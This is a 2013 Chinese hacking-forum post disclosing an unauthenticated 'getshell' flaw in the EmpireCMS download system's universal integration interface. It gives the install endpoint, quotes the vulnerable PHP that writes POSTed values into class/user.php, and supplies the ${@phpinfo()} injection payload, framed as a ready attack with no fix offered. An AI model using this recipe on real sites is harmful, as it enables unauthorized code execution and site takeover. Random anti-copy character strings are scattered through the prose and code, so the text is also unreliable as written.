找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2305|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
4 t- Z& ~4 g& N) x
8 E3 p3 v" Z6 M4 y  L$ {


. w* Q, m$ x& A# ~$ m" g这是帝国的一套下载系统 如图
" M) d. R7 F2 Dps(不需要任何账户和密码,直接写shell)


5 a* b1 P+ p6 c' |4 J8 w: r

由于很多站是由于下载要整合discuz 等等一些论坛....* J  f% n- m' _; S

1 ^$ x3 @! w4 M2 k1 v

而帝国他又有一个万能接口,如图


' A3 M- }! y: y
) u5 i; E+ Y1 n8 r! L. Q: P' B
7 R3 v7 z. ?+ U9 k/ E5 S& s

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码/ Z0 j9 t* b2 h. {0 A4 G; k

: ], i7 Z9 D% B' S) w9 n3 H0 D- L当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
# b8 g7 `8 _% `7 B1 s6 ~8 m) X' B* S) m: l1 c1 j% U5 W! I
在data/fun.php中的15行' g& Y" F3 E' Y; V5 H

/ _' L3 T6 V) T8 m我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {. x6 z- S( h4 Y' H* y( |3 B" f6 v7 {7 L
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干9 w# I; i6 U" g# m; O2 L( j4 n

' J5 o9 n$ p$ h& v" D1 P* ?* j) D这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);; P" f3 `) s: j6 g& H% [
! W& D9 l* f1 }; o/ n! p8 {
他将传进来的变量进行了切割,然后赋给了$filetext
% b( |+ h, m# J4 E
# [/ X0 Q" ^) o: F0 I; v& m然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了: ^$ q+ U  ~3 e, C% x- @. d

4 m6 l0 L0 R$ s) f/ K/ E) g- o我们看看写入的结果,随便填一个


! D% z7 A) t% B! Y; _/ k- k
8 B' o8 l  g' u& I  m* t3 i* S- h, d* m) G  K+ ~- C: s) N: g, ]

" a7 }' K: _; b/ p( w+ J: O
' M! E8 _- s' b- x: [% N; c

" A! [# W+ ~# C1 [" E) a$ Q* |. ~, A* I- n' V4 ?+ W& @
- w/ H, W( ]# Y! Q/ ^. [! S
( r, e5 y$ v1 d* W% A2 F

* p* R1 Z% ^- r  d4 k! `

* `" I$ h2 `3 E, z( _$ ^
  N/ ]4 |9 e' [( T9 r$ V$ ~, D: E& w# k5 O: A

' ^) H( l& [  T7 J
4 P4 [6 f2 S1 h
2 T$ H7 U3 t$ D# O

# ~9 _3 F: R' g* _2 `
7 q) G# h) E" Y* Y/ ]8 B( ^( }5 U8 }4 V
- q: q, i+ R. y+ ]5 V) C

1 T; E# [% `/ h9 a# ]6 E2 L, k: v: R$ r9 N' P) f' [3 e

所以我们淫荡点,写个${@phpinfo()}试试

- ?* [. \* A" W

然后访问以下class/user.php这个文件
  P$ {+ V+ r4 U日了吧


$ o1 n7 E( t/ M% y0 l

1 r( O1 V# r; B0 u( z

7 W4 o  H) J8 c# W) \2 x. h7 l& x' {$ S
. y7 }3 {& ^3 r. u9 I4 V* @$ x

6 w8 B/ k7 M% e

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表